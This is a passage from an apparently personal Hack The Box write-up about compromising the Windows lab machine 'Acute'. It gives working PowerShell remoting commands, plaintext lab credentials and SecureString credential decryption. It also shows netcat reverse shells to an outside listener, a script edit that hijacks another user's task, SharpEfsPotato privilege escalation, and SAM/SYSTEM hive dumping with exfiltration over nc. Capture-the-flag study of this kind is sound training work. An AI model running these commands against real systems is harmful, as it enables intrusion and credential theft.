src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0788.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And that&amp;rsquo;s true. For things like screenshots, Metasploit is incredibly convenient. This box was rated hard yet still held a 4.5 rating, and most people considered it medium-to-hard. There had to be a reason for that later on.&lt;/p&gt;&#10;&lt;p&gt;I generated a Metasploit payload and caught a shell. I uploaded winPEAS and scanned as usual. It looked like this had nothing to do with the Metasploit shell; the session simply wasn&amp;rsquo;t there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0789.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0790.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll leave this here for reference. Knowing the route and how to record it is enough. This was really the last resort. Time to start taking screenshots.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0791.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t have enough privileges to view the screen.&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t know what I&amp;rsquo;d done wrong. I thought it might be a permissions issue: perhaps the PSWA session had more privileges than the netcat reverse shell? That was the only difference between my setup and the write-ups. I restarted from that step. If that really was the issue, at least I&amp;rsquo;d have learned something new: if a command can be run through PSWA, don&amp;rsquo;t bounce it through netcat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0792.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still notfound.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0793.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0794.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0795.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As it turned out, starting PowerShell after getting a netcat CMD shell and then popping another shell was no different from using PSWA. Of course it wasn&amp;rsquo;t—I had only imagined there might be a difference.&lt;/p&gt;&#10;&lt;p&gt;The Metasploit payloads were all the same, because there was no reason they wouldn&amp;rsquo;t be. This had nothing to do with Metasploit. I couldn&amp;rsquo;t shake the feeling that something was wrong with the target. I&amp;rsquo;m skipping over a day here: I shut the box down completely because I had other things to do and didn&amp;rsquo;t continue. When I started it again the next day, everything was normal.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0796.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;How strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0797.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now there was a screen. During that day, I also learned that OSCP allows unlimited use of Metasploit for listeners and payload generation. The one-use limit applies only when using it to launch exploits.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sharp\imonks w3_4R3_th3_f0rce.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Judging from his command, he was connecting to ATSSERVER through the WinRM service.&lt;/p&gt;&#10;&lt;p&gt;I just needed to put his command together.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pass = ConvertTo-SecureString &amp;#34;W3_4R3_th3_f0rce.&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential(&amp;#34;ACUTE\imonks&amp;#34;, $pass)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It threw an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0798.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were still other ways to work with WinRM, though. For example, the blog below covers most WinRM operations.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.west.cn/docs/133652.html" target="_blank" rel="noopener"&#10; &gt;https://www.west.cn/docs/133652.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { whoami } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could build the commands above to read the flag. I uploaded netcat.exe to get an interactive shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { C:\\utils\\netcat.exe 10.10.16.14 6666 -e cmd } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0799.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to work. The existing access was usable anyway, so I started digging through files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0800.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$securepasswd = &amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$passwd = $securepasswd | ConvertTo-SecureString&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = New-Object System.Management.Automation.PSCredential (&amp;#34;acute\jmorgan&amp;#34;, $passwd)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This file contained jmorgan&amp;rsquo;s password. As with the earlier box, it was a secure password. I&amp;rsquo;d encountered this on Omni, and some of the underlying mechanism came back to me: an encrypted string can only be decrypted under the user account that created it, and only on the computer where it was encrypted. I ran the command above as the current user and on my own Windows machine, then tried:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$Creds&lt;/span&gt;.GetNetworkCredential&lt;span class="o"&gt;()&lt;/span&gt;.password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only then did I remember this. It really had been a while since that box. I&amp;rsquo;ll review all my notes when I go back through Hack The Box later.&lt;/p&gt;&#10;&lt;p&gt;So the only option was to construct a command that made imonks run it on ATSSERVER.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; ConvertTo-SecureString&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;acute\jmorgan&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$passwd&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt;.GetNetworkCredential&lt;span class="o"&gt;()&lt;/span&gt;.Password &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I just needed to import the credential first, then read it with $Creds.GetNetworkCredential().password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0801.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It errored. Since I couldn&amp;rsquo;t export the credential either, I decided to build the command directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; ConvertTo-SecureString&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;acute\jmorgan&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$passwd&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$netcatCmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\utils\netcat.exe 10.10.16.14 6666 -e cmd&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start-Process -FilePath &lt;span class="s2"&gt;&amp;#34;cmd.exe&amp;#34;&lt;/span&gt; -ArgumentList &lt;span class="s2"&gt;&amp;#34;/c &lt;/span&gt;&lt;span class="nv"&gt;$netcatCmd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -Credential &lt;span class="nv"&gt;$creds&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This command used the inner credential to execute the reverse-shell command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0802.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But just like before, it wouldn&amp;rsquo;t execute.&lt;/p&gt;&#10;&lt;p&gt;I glanced at a write-up. It pointed out that the outer user could modify wm.ps1 and then execute it. That worked around the current user&amp;rsquo;s inability to run a process with the inner credential.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;cat ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 -Raw&lt;span class="o"&gt;)&lt;/span&gt; -replace &lt;span class="s1"&gt;&amp;#39;Get-Volume&amp;#39;&lt;/span&gt;, &lt;span class="s1"&gt;&amp;#39;C:\utils\netcat.exe -e cmd 10.10.16.14 6666&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sc -Path ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Run it directly below&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; C:&lt;span class="se"&gt;\u&lt;/span&gt;sers&lt;span class="se"&gt;\i&lt;/span&gt;monks&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0803.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell came back successfully.&lt;/p&gt;&#10;&lt;p&gt;The first thing to do as a new user was still whoami /priv.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0804.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You could see that plenty of privileges were enabled.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\W&lt;/span&gt;indowsPowerShell&lt;span class="se"&gt;\v&lt;/span&gt;1.0&lt;span class="se"&gt;\p&lt;/span&gt;owershell.exe -a &lt;span class="s2"&gt;&amp;#34;whoami | Set-Content C:\Utils\w.log&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0805.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. The Potato exploit could take me straight to SYSTEM.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0806.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0807.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0808.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing? What I&amp;rsquo;d been worried about had happened after all. I&amp;rsquo;d already noticed something was off when I checked the IP. The machine referred to as DC01 really was this DC01. My earlier guess was right too: it was a domain member. To attack a domain controller from a member host, you&amp;rsquo;d usually need an exploit or some exposed service on the DC. But I didn&amp;rsquo;t even have the domain controller&amp;rsquo;s real IP yet. The host on 443 was the domain controller, but most of its services weren&amp;rsquo;t exposed. That meant they should be reachable internally. I might need to build a tunnel and attack the domain controller through it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0809.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Was its real IP still 10.10.11.145? I wasn&amp;rsquo;t sure, because connecting to port 445 there failed. Maybe this was only an edge server. There was another route: the target had PSWA enabled, and I could switch users locally. The administrator account clearly had .ACUTE appended. As I understood it, that suggested it was a domain user, with the domain appended to its name. When I was learning this, I created two accounts with the same name. For example, if the local account was called john and I wanted to join the domain, I also had to create a domain account. If the domain account name conflicted with the local account—say I created another account called john—the domain name would be appended so the local computer could distinguish them.&lt;/p&gt;&#10;&lt;p&gt;What I knew so far was that the target had PSWA enabled and the current user could switch users. So I could dump SAM and SYSTEM, crack the hashes, and try credential reuse. If things lined up, I might be able to get straight into the domain.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM&lt;span class="se"&gt;\S&lt;/span&gt;AM SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I chose to transfer them with nc here. SMB seemed to error out.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;10000&lt;/span&gt; &amp;gt; SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe -n 10.10.16.14 &lt;span class="m"&gt;10000&lt;/span&gt; &amp;lt; SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;10000&lt;/span&gt; &amp;gt; SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe -n 10.10.16.14 &lt;span class="m"&gt;10000&lt;/span&gt; 